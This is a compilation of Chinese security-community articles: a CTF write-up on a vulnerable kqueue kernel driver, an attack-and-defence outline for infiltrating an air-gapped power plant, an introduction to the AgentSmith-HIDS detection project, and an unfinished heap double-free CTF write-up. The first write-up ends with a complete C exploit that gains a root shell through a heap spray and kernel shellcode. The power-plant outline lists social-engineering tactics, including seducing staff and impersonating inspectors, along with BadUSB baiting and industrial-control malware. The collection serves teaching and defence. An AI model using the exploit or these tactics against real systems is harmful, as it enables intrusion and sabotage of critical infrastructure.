中我们传入的 `request.max_entries` 为 `0xffffffff`，加一后变为0，此时便能通过检测，但 space
最终的结果为0，从而在后续进行 kmalloc 时便只分配了一个 queue 的大小，但是存放到 queue 的 max_entries 域的值为
`request.max_entries`
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;
这里有一个移动指针的代码看得笔者比较疑惑，因为在笔者看来可以直接写作 `(queue_entry *)(queue + 1)`，
~~不过阿三的代码懂的都懂~~
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));
在分配 queue->data 时给 kmalloc 传入的大小为 `request.data_size`，限制为 0x20
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
接下来会为每一个 queue_entry 的 data 域都分配一块内存，大小为 `request.data_size`，且 queue_entry
从低地址向高地址连接成一个单向链表
uint32_t i=1;
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;
/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}
在最后会在 kqueue 数组中找一个空的位置把分配的 queue 指针放进去
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}
if(j>MAX_QUEUES)
err("[-] No kqueue slot left");
/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
**delete_kqueue**
常规的删除功能，不过这里有个 bug 是先释放后再清零，笔者认为会把 free object 的next 指针给清掉，有可能导致内存泄漏？
static noinline long delete_kqueue(request_t request){
/* Check for out of bounds requests */
if(request.queue_idx>MAX_QUEUES)
err("[-] Invalid idx");
/* Check for existence of the request kqueue */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] Requested kqueue does not exist");
kfree(queue);
memset(queue,0,queue->queue_size);
kqueues[request.queue_idx] = NULL;
return 0;
}
**edit_kqueue**
主要是从用户空间拷贝数据到指定 queue_entry->size，如果给的 entry_idx为 0 则拷到 queue->data
static noinline long edit_kqueue(request_t request){
/* Check the idx of the kqueue */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");
/* Check if the kqueue exists at that idx */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] kqueue does not exist");
/* Check the idx of the kqueue entry */
if(request.entry_idx > queue->max_entries)
err("[-] Invalid kqueue entry_idx");
/* Get to the kqueue entry memory */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);
/* Check for the existence of the kqueue entry */
exists = false;
uint32_t i=1;
for(i=1;i<queue->max_entries+1;i++){
/* If kqueue entry found , do the necessary */
if(kqueue_entry && request.data && queue->data_size){
if(kqueue_entry->idx == request.entry_idx){
validate(memcpy(kqueue_entry->data,request.data,queue->data_size));
exists = true;
}
}
kqueue_entry = kqueue_entry->next;
}
/* What if the idx is 0, it means we have to update the main kqueue's data */
if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){
validate(memcpy(queue->data,request.data,queue->data_size));
return 0;
}
if(!exists)
return NOT_EXISTS;
return 0;
}
**save_kqueue_entries**
这个功能主要是分配一块现有 `queue->queue_size` 大小的 object 然后把 queue->data 与其所有
queue_entries->data 的内容拷贝到上边，而其每次拷贝的字节数用的是我们传入的 `request.data_size`
，在这里很明显存在堆溢出
static noinline long save_kqueue_entries(request_t request){
/* Check for out of bounds queue_idx requests */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");
/* Check if queue is already saved or not */
if(isSaved[request.queue_idx]==true)
err("[-] Queue already saved");
queue *queue = validate(kqueues[request.queue_idx]);
/* Check if number of requested entries exceed the existing entries */
if(request.max_entries < 1 || request.max_entries > queue->max_entries)
err("[-] Invalid entry count");
/* Allocate memory for the kqueue to be saved */
char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
/* Each saved entry can have its own size */
if(request.data_size > queue->queue_size)
err("[-] Entry size limit exceed");
/* Copy main's queue's data */
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size));
else
err("[-] Internal error");
new_queue += queue->data_size;
/* Get to the entries of the kqueue */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);
/* copy all possible kqueue entries */
uint32_t i=0;
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}
/* Mark the queue as saved */
isSaved[request.queue_idx] = true;
return 0;
}
这里有个全局数组标识一个 queue 是否 saved 了
bool isSaved[MAX_QUEUES] = {false};
## 0x02.漏洞利用
### Step I.整数溢出
考虑到在 create_queue 中使用 `request.max_entries + 1` 来进行判定，因此我们可以传入 0xffffffff
使得其只分配一个 queue 和一个 data 而不分配 queue_entry的同时使得 `queue->max_entries =
0xffffffff`，此时我们的 queue->queue_size 便为 0x18
### Step II.堆溢出 + 堆喷射覆写 seq_operations 控制内核执行流
前面我们说到在 save_kqueue_entries() 中存在着堆溢出，而在该函数中分配的 object 大小为 queue->queue_size，即
0x18，应当从 `kmalloc-32` 中取，那么我们来考虑在该 slab 中可用的结构体
不难想到的是， **seq_operations** 这个结构体同样从 `kmalloc-32` 中分配，当我们打开一个 stat 文件时（如
`/proc/self/stat` ）便会在内核空间中分配一个 seq_operations 结构体，该结构体定义于
`/include/linux/seq_file.h` 当中，只定义了四个函数指针，如下：
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
当我们 read 一个 stat 文件时，内核会调用其 proc_ops 的 `proc_read_iter` 指针，其默认值为
`seq_read_iter()` 函数，定义于 `fs/seq_file.c` 中，注意到有如下逻辑：
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
struct seq_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...
即其会调用 seq_operations 中的 start 函数指针，那么 **我们只需要控制 seq_operations- >start 后再读取对应
stat 文件便能控制内核执行流**
我们可以使用 **堆喷射** （heap spray）的手法在内核空间喷射足够多的 seq_operations 结构体从而保证我们能够溢出到其中之一
### Step III.ret2usr + ret2shellcode
由于没有开启 smep、smap、kpti，故 ret2usr 的攻击手法在本题中是可行的，但是由于开启了 kaslr 的缘故，我们并不知道
prepare_kernel_cred 和 commit_creds 的地址，似乎无法直接执行
`commit_creds(prepare_kernel_cred(NULL))`
这里 ScuPax0s 师傅给出了一个美妙的解法：通过编写 **shellcode**
在内核栈上找恰当的数据以获得内核基址，执行`commit_creds(prepare_kernel_cred(NULL))` 并返回到用户态
### Final Exploit
故最终的 exp 如下：
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>
typedef struct
{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
long dev_fd;
size_t root_rip;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void createQueue(uint32_t max_entries, uint16_t data_size)
{
request_t req =
{
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd, 0xDEADC0DE, &req);
}
void editQueue(uint16_t queue_idx,uint16_t entry_idx,char *data)
{
request_t req =
{
.queue_idx = queue_idx,
.entry_idx = entry_idx,
.data = data,
};
ioctl(dev_fd, 0xDAADEEEE, &req);
}
void deleteQueue(uint16_t queue_idx)
{
request_t req =
{
.queue_idx = queue_idx,
};
ioctl(dev_fd, 0xBADDCAFE, &req);
}
void saveQueue(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size)
{
request_t req =
{
.queue_idx = queue_idx,
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd, 0xB105BABE, &req);
}
void shellcode(void)
{
__asm__(
"mov r12, [rsp + 0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, 0x8c580;" // prepare_kernel_cred
"add r13, 0x8c140;" // commit_creds
"xor rdi, rdi;"
"call r12;"
"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, root_rip;"
"push r14;"
"iretq;"
);
}
int main(int argc, char **argv, char**envp)
{
long seq_fd[0x200];
size_t *page;
size_t data[0x20];
saveStatus();
root_rip = (size_t) getRootShell;
dev_fd = open("/dev/kqueue", O_RDONLY);
if (dev_fd < 0)
errExit("FAILED to open the dev!");
for (int i = 0; i < 0x20; i++)
data[i] = (size_t) shellcode;
createQueue(0xffffffff, 0x20 * 8);
editQueue(0, 0, data);
for (int i = 0; i < 0x200; i++)
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
saveQueue(0, 0, 0x40);
for (int i = 0; i < 0x200; i++)
read(seq_fd[i], data, 1);
}
运行即可提权到 root | 社区文章 |
# 如果我想日进物理隔离的电网系统......
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 必读
首先大家仔细读标题噢！
小张我绝对没有攻击以及产生攻击的想法，这篇文章只是为各位正道人士提供思路，希望大家不要任何歪念邪想，否则被炮决了不要怪我张三没有提醒你……
## 电厂场景假定
由于不认识电厂厂长，厂长也不能告诉我他们厂的网络拓扑，所以我们就假定一下这个电厂的内部网络是什么情况的。
### 总场景
假定总场景有如下关键系统：
> VPN系统
> 外网系统
> 邮件系统
> 授权访问系统
> 内网安全防护系统
> 数据库系统
> 工业隔离网络系统
当然真实场景可能还有很多别的系统，这里只列出可能有的关键的系统。
### 具体网路拓扑
各种系统的设备连接情况如图。
~~仿真模拟，有投资的老板吗，我们合伙开电厂。~~
## 攻防场景假定
下面假想具体各个攻防步骤都会有哪些操作，每个步骤都会有攻击方思路和防守方思路。
### 场景一 信息收集
**一、进攻方思路：**
**1\. 官网信息搜集**
（1） 邮件
（2） 电话
（3） 地址
（4） 内部场景图
**2\. 网络信息搜集**
**（1） 天眼查**
a) 上下游公司情况
b) 财物情况
c) 公司组织结构
**（2） QQ群：加群采集相关信息**
**（3） 微博：查询确定公司相关人员信息**
**（4） 微信：查询确定公司相关人员信息；美女色诱**
**（5） Github**
a) 源码信息
b) 社工信息
**3\. 实地信息搜集**
**（1） 伪装内部人员**
a) 通过招聘进入内部
b) 伪装安全检查人员
c) 伪装环保督察
**（2） 场外自然环境**
a) 统计员工通勤情况
b) 统计员工上下班路线
c) 统计员工车牌号
**（3） 电网外无线网络信息**
**a) 电网系统WiFi**
i. 尝试泛洪攻击
ii. 尝试暴力破解
iii. 尝试中间人
iv. 攻击尝试WiF伪造
**b) 个人热点**
**（4） 场外摄像头**
a) 场外摄像头尝试渗透， 长期监视场外环境
**二、防守方思路：**
**1\. 实地环境防护**
（1） 禁止员工使用个人热点，加强员工教育。
（2） 增加WiFi密码强度，定期更改密码。
（3） 外围摄像头不能对准电厂内部。
（4） 核心设备区信号屏蔽。
（5） 加强内部安保力度。
**2\. 社交网络防护**
（1） 减少使用SNS社交网络的使用，做好人员审核。
（2） 定期检查源码防止泄露。
（3） 加强员工安全意识，避免社会工程学攻击。
**3\. 官网防护**
（1） 租用高防云服务器，与电网VPN完全隔离。
* * *
> 信息收集是渗透攻击的关键步骤，收集更多的情报有助于后续攻击的进行。
> 可能前期一个看似不起眼的信息，会在后面起到关键作用。
> 比如厂长的难言之隐或者员工的兴趣爱好？
> 比如电厂的某个围墙下面有洞？
> 或投其所好，或诱其以利，或攻其所弱。
>
> 我一向认为无论是多么严密的系统，最大的弱点都来自人。
> 所以这个阶段就是线上线下双管齐下，不放过任何一个细节。
>
> 而对于防守方来说，不仅要将互联网上的信息尽可能少的暴露，还要加强对员工的保密性培训，任何关于工作的事都不能泄露给外人，包括家属。
>
> 此外安防措施也务必不可少，比如围墙、监控、信号屏蔽等等。
> 加强安防人员的培训，以免攻击者物理入侵。
> ~~(六十岁以上的大爷就别来打更了，没有歧视大爷的意思qaq)~~
### 场景二 渗透内网
**一、 进攻方思路：**
**1\. 摆渡攻击**
（1） 选择员工上下路过，开展抽奖送无线鼠标、U盘、USB小风扇、USB小电灯,这些"礼物”实际是BadUSB,利用BadUSB安装后门WiFi钓鱼
**2\. WiFi钓鱼**
（1） 方案一:先通过泛洪攻击down掉正常办公WiFi,伪造正常WiFi,做中间人攻击
（2） 方案二:选择WiFi信号弱的地方,伪造正常WiFi,做中间人攻击
**3\. 邮件钓鱼**
（1） 根据场景-搜集的邮箱，发送钓鱼邮件
**4\. 物理渗透**
（1） 如果是真实渗透的话，可以尝试应聘为员工，不过难度颇高，这种重要基础设施不是想进就能进的，基本都会有背景审查，而且时间成本比较高；但是如果真是没有办法了，还是可以试试。
（2） 对员工下手......这部分就不多说了， 大家自己想
**二、 防攻方思路：**
**1\. 邮件钓鱼防护**
（1） 邮件采用双向认证
**2\. WiFi钓鱼防护**
（1） 做好WiFi的日常流量监控
**3\. 摆渡攻击防护**
（1） 内部设备的USB读取功能全部堵死，数据传输只能通过OA系统
（2） 加强员工安全教育，员工个人物品与办公物品隔离
**4\. 加强员工审查**
（1） 什么组织机构部门，都害怕内鬼，所以这方面的审查和监测不可少；辛辛苦苦布置的防护，内鬼一句话就给破了，可谓降维打击。
### 场景三 横向渗透
**一、 攻击方思路：**
(1) 为方便进行内网渗透,采用cobalt strike上线远控，远控做免杀处理。
(2) 内网phpMyAdmin弱口令致数据库沦陷。
(3) 内网防火墙默认口令可监控内网所有流量。
(4) 内网SQL注入致使内部数据库信息泄露。
(5) 建立Socks代理,开启内网扫描。
(6) 发现域控，入侵提权。
**二、 防守方思路：**
(1) 开发时，对于数据库的一些读写操作采用预编译模式。
(2) 增加WAF规则过滤非法字符。
(3) 检查数据库的SQL注入漏洞。
(4) 消除弱口令。
(5) 老设备，没法更新，勤打补丁。
(6) 设置内网蜜罐预警。
(7) 为关键主机添加蜜罐特征，迷惑攻击者
> 进到内网就好说了，电厂的内网可能都没有一些企业的内网安全。当然限于‘一些’。
### 场景四 突破核心工控网络
**一、 攻击方思路：**
(1) 利用Stuxnet病毒(太老了...)
(2) 利用U盘摆渡攻击
(3) 利用PLC Blaster蠕虫病毒
(4) 利用工业协议攻击(尽量挖掘)
**二、 防守方思路：**
(1) 勤打补丁。
(2) 人员权力划分明确，没权限的严禁触碰。
> 这部分没啥说的，我也没日过真电厂，也不知道说点啥，上面说的病毒什么的，因为出名，基本都会被补了，如果还没补的，那厂长该被炮决。
> 还得是具体情况具体分析吧。
> 防守方依旧管好人员，被内鬼一个badusb解决战斗就尴尬了。
## 技术需求
### **社工以及信息收集** ：
色诱，钓鱼鱼叉，邮件，QQ群，天眼查，Github
实地考察（员工的上下班路线，通勤情况，车牌号）
公众号，微博，官网，伪装成安全检查、环保监督
招聘进入内部，电网系统的wifi,个人热点，场外摄像头
### **突破** ：
wifi钓鱼，邮件钓鱼；
横向渗透（建立Socks代理，开启内网扫描；内网SQL注入致使内部数据库信息泄露；
cobalit strike上线远控；
phpMyAdmin弱口令；
内网防火墙默认口令可监控内网所有流量）；
Stuxnet病毒（使用“代码插入”的感染方式感染OB1,类似方式感染OB35）；
U盘摆渡攻击；
PLC
Blaster蠕虫病毒（首先选择IP尝试建立连接，如果连接建立成功，则检查目标PLC是否已被感染。如连接未建立成功，或目标PLC已被感染，则选择新IP重新尝试建立连接。如目标PLC未被感染，则停止目标PLC，下装病毒程序，最后重新启动目标PLC。）；
利用工业协议攻击。
### **针对性攻击** ：
工控控制器，考试系统服务器，人事管理服务器，财务系统服务器，OA办公服务器，视频监控系统。
## 总结
我张三身为良民，是绝对不会行违法之事，本文也仅是分享一些突破物理隔离网络的思路，希望在法内对各位有所帮助。
最后，还是提醒一句，任何看似防护严密的系统，其最大的弱点都是人。 | 社区文章 |
# 开源项目 AgentSmith-HIDS 介绍
今天开源内部重点项目 **AgentSmith-HIDS**
。我们会将该项目开源，希望可以帮助到广大的信息安全团队来建设和完善自己的HIDS体系，也希望大家可以共同维护这个还处于刚起步阶段的项目。
### 1.关于HIDS的目的
HIDS(Host-based Intrusion Detection
System)作为传统攻防视角的重要一环，有着不可替代的作用，可以有效的检测到从网络层面难以发现的安全问题，如：后门，反弹shell，恶意操作，主机组建安全漏洞，系统用户管理安全问题，主机基线安全风险等。
### 2.为何自研
众所周知，HIDS开源产品不乏有一些经历过大量大型甲方考验的产品，比如大名鼎鼎的OSSEC，也有一些非常完善的产品帮助可以我们建设自己的HIDS，如Linux
Audit等。但是这些产品往往有一些问题不能满足我们的需求，这就要从自身对HIDS的需求来看了：
* 灵活切轻量级，有强大的联动能力，需要可以和我们自研的 **AgentSmith-NIDS** 联动，达到网络层发现一切安全问题可以追溯到主机层的用户-进程信息等一些具体细节，不仅方便排查，也可以快速解决误报，可以更详细的制定规则；
* 轻量级，对系统资源，负载占用小；
* 支持基线检查/系统完整性检测；
* 灵活的规则配置(规则引擎最好可以和 **AgentSmith-NIDS** 复用)；
* 支持最基本的HIDS功能，如各种主机层安全问题的检测等；
* 支持和CMDB联动，支持Docker，可以梳理建立“白名单”(如某应用的对外连接名单，数据库名单等)。
从上述需求可以看到，完全符合的开源产品是不存在的，当谈论到“安全体系建设”，就一定绕不开联动能力，而HIDS和NIDS和CMDB的联动意义重大，几乎是一切联动的基础。而我们一开始着重测试了Linux
Audit，其对Docker容器的不支持，收集的信息过于碎片化比较成为问题，关键是其较为复杂庞大的架构实现导致对宿主机性能有着较大的影响，因此考虑放弃，而其他的产品往往过于强调其本身的安全能力，而失去了联动能力，二次开发难度也颇大，因此考虑自研一款可以符合我们自身期望的产品。
### 3.关于AgentSmith-HIDS的功能
目前AgentSmith-HIDS开发处于很早期阶段，这是我们第一个经过较为全面测试的稳定版本，功能主要是通过加载LKM来实现Hook
**execve,connect,init_module,finit_module**
的system_call，execve是为了捕获执行的命令来监控异常操作，归档等；监控connect是为了捕获服务器的网络行为，不仅仅可以发现很多安全问题，也可以方便的和AgentSmith-NIDS联动；监控 **init_modle** 和 **finit_module** 是为了监控加载LKM的行为，可以在这个层面做一些Anti-Rootkit的检测。
为什么要在内核态实现这些Hook呢？因为我们希望可以尽可能的全面的收集以上信息，避免被绕过。而且在这里做Hook如果将来需要做一些危险命令等拦截也成为了可能，如：rm
-rf /等。我们认为，越接近底层，离真相越近。
关于性能，我们为了尽可能的减少系统负载，放弃了最开始的传输方案：netlink，改用共享内存的方式来实现内核态到用户态到消息传输，经过测试对Hook的system_call的性能影响相较于netlink降低30%左右（更加详细的性能测试报告请见项目内）。
由于Docker的底层实现依赖了 **Linux namespace**
，因此我们在Hook的过程中可以很容易的区分信息的来源是宿主机本身还是其上的某个Docker容器，达到对Docker的一定支持，在这里我们确定了Docker容器信息后便可方便的和我们的CMDB关联，梳理业务信息等。
以上是 **AgentSmith-HIDS**
的LKM模块的功能，而用户态的接收端，目前的主要作用是接收LKM传输的信息，格式化，传输到server端，功能还较为简单，开源的不分还不具备检测能力(规则引擎复用AgentSmith-NIDS规则引擎，联动能力复用AgentSmith-NIDS，归档等其他功能复用AgentSmith-NIDS)，有简单的心跳检测支持，断连自动关闭LKM等，后期会增加基线检查/系统完整性检测两项比较重要的功能。
### 4.关于AgentSmith-HIDS的设计思路
我们的思路是 **AgentSmith-HIDS** 尽量复用我们的 **AgentSmith-NIDS**
的规则引擎/联动/告警/归档/异常检测算法/资产模块等基础能力，一方面尽可能的减少在宿主机的运算，另一方面我们的思路还是“看好两扇大门”：
**操作和网络行为**
，因此在第一阶段我们舍去了比如：文件变更检测等，而是尝试通过梳理“白名单”来发现异常，比如，我们规范了线上服务器用户后，我们不需要监测authorized_keys和/etc/shadow，在异常用户第一次操作的时候我们便可以关联到堡垒机或其他地方来检测该用户是否有存在的合理性；一切对外连接行为无论是正常第三方业务调用，DNS，NTP，反弹shell，被C&C上线，各种姿势的隐秘通道通信，我们都可以通过连接行为基础信息(TCP/UDP五元组+nodename+appid)+CMDB+pre环境第三方业务调用名单+DNS/NTP等基础服务白名单(往往是内部指定)来排除掉正常的连接行为，而简单的反弹shell等，规则引擎就可以应付一二。
这样不仅可以有发现安全问题，归档操作等安全能力，还可以来建立起对我们自己业务的熟悉程度，比如：通过HIDS，NIDS，CMDB的关联，可以快速查询出某个数据库的某个表会被哪些应用访问到，他们又是使用了哪些db
user；我们整个业务线调用了哪些第三方应用，比如哪天突然遇到故障需要紧急切换出口IP，我们可以快速的联系对方添加我们新出口的IP；其实还有一些监控属性的存在，比如以前只有NIDS的时候，端口扫描的策略是通过源IP+被reset的频率来做的，但是也可能是某些业务调整或者故障引起的，这时候NIDS排查较为困难，但是有了HIDS的联动我们可以快速的识别是我们的内部应用还是恶意行为。
总而言之，我们的HIDS的期望是尽量轻量化，注重联动能力，尽可能复用已有的基础能力，二次开发友好，整体思路还是黑名单(规则)+异常检测+白名单来做，可以参考点融的NIDS的建设思路：<http://www.ebwill.com/2018/09/10/DR_NIDS/>
### 5.关于二次开发
**AgentSmith-HIDS**
对二次开发应该是很友好的，基础的LKM模块完善程度较高，遵循其共享内存的消息传输算法便可获取信息，项目中有基础的Demo实现，任何人都可以快速搭建并实现最基础的信息收集，关于规则引擎的编写也应该足够简单，如果有自己的NIDS，那么基于TCP/UDP五元组的信息也可以快速联动，这样未来发现NIDS告警或者威胁情报告警就再也不用上服务器抓包/手动排查了，通过关联HIDS的信息就可以有一个基础的判断（这是曾经我努力坚持推HIDS的一个重要目标......面对稍纵即逝的短连接和大量的威胁情报告警NIDS提供的有限的信息让我们判断是不是误报都成为问题）。 | 社区文章 |
## 前言：
赛后花时间复现了一下很少人做出来的momo_server，大佬们还是强呀。
## 正文：
这道题在分析程序执行流程上面就有一定的难度，要对`http`协议有一定的了解程度才能很快的分析完执行流程。先来看看整个程序的执行流程：
前半段：
v7 = 1;
memset(&v6, 0, 0x10000uLL);
v9 = read(0, s, v8 - 1);
if ( v9 >= 0 )
{
*((_BYTE *)s + v9) = 0;
__isoc99_sscanf(s, "%s %s %s \n", &s1, &v15, &v14);
if ( !strstr((const char *)s, "Connection: keep-alive") )
v7 = 0;
v12 = sub_40176B((const char *)s);
`__isoc99_sscanf`类似于正则表达式，具体的可以自行去看函数定义，在这里的作用是用空格做分隔符，将输入的字符串切割后分别赋值给`s1`、`v15`、`v14`。`strstr`是查询子字符串，所以这里的作用是如果在输入中查不到`Connection:
keep-alive`字符串，则`v7`变为0，程序最后会直接退出。所以为了让程序一直运行不退出，输入必须带有`Connection: keep-alive`字符串。
再来看看程序功能：
if ( !strcmp(&s1, "GET") )
{
if ( !strcmp(&v15, "/") )
{
sub_400E67();
}
else if ( !strcmp(&v15, "/list") )
{
sub_400E82();
}
else
{
sub_400E4C();
}
}
如果`s1`,`v15`分别为`GET`,`/`则执行`sub_400E67()`。该函数具体没什么用，往下是`sub_400E82()`函数，这个函数先放着，看名字`list`可以大致猜测到是“显示堆”功能的函数。再往下`sub_400E4C()`函数也没什么用。所以想要调用`/list`函数可以这样构造输入：
> GET /list Connection: keep-alive
往下看：
else if ( !strcmp(&s1, "POST") )
{
if ( !strcmp(&v15, "/add") )
{
sub_4011EE(v12);
}
else if ( !strcmp(&v15, "/count") )
{
sub_4016A8();
}
else if ( !strcmp(&v15, "/echo") )
{
sub_4010CB(v12, (__int64)"/echo", v3, v4, v5);
}
else
{
sub_400E4C();
}
}
原理如上，这里需要提上一嘴的是第一个函数中传入了`v12`参数，往上看可以发现`v12`由`sub_40176B()`得来：
char *__fastcall sub_40176B(const char *a1)
{
char *v2; // [rsp+18h] [rbp-8h]
if ( strstr(a1, "\r\n\r\n") )
return strstr(a1, "\r\n\r\n") + 4;
if ( strstr(a1, "\n\n") )
return strstr(a1, "\n\n") + 2;
if ( strstr(a1, "\r\r") )
v2 = strstr(a1, "\r\r") + 2;
return v2;
}
查询子字符，如果有以上三种中的一种则返回其中一种字符串的后面内容，比如我输入了`v1nke1\r\n\r\nv1nke2`，则返回`v1nke2`字符。
进入`/add`函数中分析：
if ( (unsigned int)__isoc99_sscanf(v1, "%10[^=]=%80s", &s, &s2, v2)
&& (v3 = strtok(0LL, "&"), (unsigned int)__isoc99_sscanf(v3, "%10[^=]=%10s", &s1, &nptr, v4)) )
{
if ( !strcmp(&s, "memo") && s2 && (v5 = "count", !strcmp(&s1, "count")) && nptr && atoi(&nptr) >= 0 )
这段对传入参数`v12`做处理，先用`&`做分隔符分成两段字符串，前一段中取`=`前面部分赋值给`s`,`=`后面赋值给`s2`。后一段取`=`前给`s1`,`=`后给`nptr`。
后面的`if`语句是要求`s`为`memo`，`s1`为`count`。且`nptr`为数字且大于0。
往后：
for ( i = 0; i <= 15 && *(&ptr + i); ++i )
{
if ( *(_QWORD *)*(&ptr + i) )
{
v5 = &s2;
if ( !strcmp(*(const char **)*(&ptr + i), &s2) )
{
v6 = (__int64)*(&ptr + i);
*(_DWORD *)(v6 + 8) = atoi(&nptr);
*((_WORD *)*(&ptr + i) + 6) = 0;
sprintf(&v19, "{\"status\":\"%s\"}", "ok");
pprint((__int64)"HTTP/1.1 200 OK", (__int64)"application/json", &v19);
return __readfsqword(0x28u) ^ v20;
}
}
}
这段函数引起`double free`漏洞。后面可以充分体会到。
v7 = (char **)malloc(0x10uLL);
v8 = strlen(&s2);
v9 = (char *)malloc(v8);
*v7 = v9;
sub_400D84(&s2, (__int64)v5, (__int64)v9, v10, v11);
v12 = strlen(&s2);
strncpy(*v7, &s2, v12 + 1);
*((_DWORD *)v7 + 2) = atoi(&nptr);
*((_WORD *)v7 + 6) = 0;
*(&ptr + i) = v7;
sprintf(&v19, "{\"status\":\"%s\"}", "ok");
pprint((__int64)"HTTP/1.1 200 OK", (__int64)"application/json", &v19);
这里可以看到该函数先分配`0x20`的堆结构体，然后根据`memo=`后边的内容大小分配合适的堆。再将`count=`后面的数字赋值到堆结构体中去，并在六字节处置0。最后`&ptr`位于bss段，将堆结构体指针赋值到bss段中。这里再往回看`/list`中的内容，就明白了其具体内容就是显示分配堆中的内容。
往下看第二个函数：
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) )
{
sub_401041((__int64)"failed");
}
开了一个多线程函数，进入到`start_routine`函数中去：
do
{
v2 = 0;
for ( i = 0; i <= 15; ++i )
{
if ( *(&ptr + i) )
{
if ( *((_DWORD *)*(&ptr + i) + 2) <= 0 )
{
if ( !*((_DWORD *)*(&ptr + i) + 2) && *((_WORD *)*(&ptr + i) + 6) )
{
*((_WORD *)*(&ptr + i) + 6) = 0;
free(*(void **)*(&ptr + i));
}
}
else
{
--*((_DWORD *)*(&ptr + i) + 2);
*((_WORD *)*(&ptr + i) + 6) = 1;
++v2;
}
}
}
result = sleep(1u);
}
while ( v2 );
遍历15个堆结构，根据所赋值的`count=`后的数字是否小于等于0，否则减一，再将第六位赋值为1，是则第六位置零，并`free`堆，这里存在`UAF`漏洞，没有清空指针。
后面的`echo`函数没有用，但是官方给出的writeup说是echo函数中没有00截断字符串，会泄漏地址。但是我实际调试当中发现是有00截断的，没办法泄漏地址，只是一个你输入了什么原样输出的一个函数而已。。
### 利用构造：
这里就用`double
free`来利用，先添加四个0x20的堆和五个0x40的堆，除最后一个0x40的堆外别的堆count置为1。而后free掉八组堆，成为fastbin。
0x12b5000: 0x0000000000000000 0x0000000000000021 < -- 1
0x12b5010: 0x00000000012b5030 0x0000000000000000
0x12b5020: 0x0000000000000000 0x0000000000000021
0x12b5030: 0x0000000000000000 0x0000000000000000
0x12b5040: 0x0000000000000000 0x0000000000000021 < -- 2
0x12b5050: 0x00000000012b5070 0x0000000000000000
0x12b5060: 0x0000000000000000 0x0000000000000021
0x12b5070: 0x00000000012b5020 0x0000000000000000
0x12b5080: 0x0000000000000000 0x0000000000000021 < -- 3
0x12b5090: 0x00000000012b50b0 0x0000000000000000
0x12b50a0: 0x0000000000000000 0x0000000000000021
0x12b50b0: 0x00000000012b5060 0x0000000000000000
0x12b50c0: 0x0000000000000000 0x0000000000000021 < -- 4
0x12b50d0: 0x00000000012b50f0 0x0000000000000000
0x12b50e0: 0x0000000000000000 0x0000000000000021
0x12b50f0: 0x00000000012b50a0 0x0000000000000000
然后`/list`一下，泄漏出堆基地址。
这里再`add`一个新堆，但是堆内容跟之前所分配堆中的某个堆内容一样。这样的话就会执行`add`函数中的导致`double
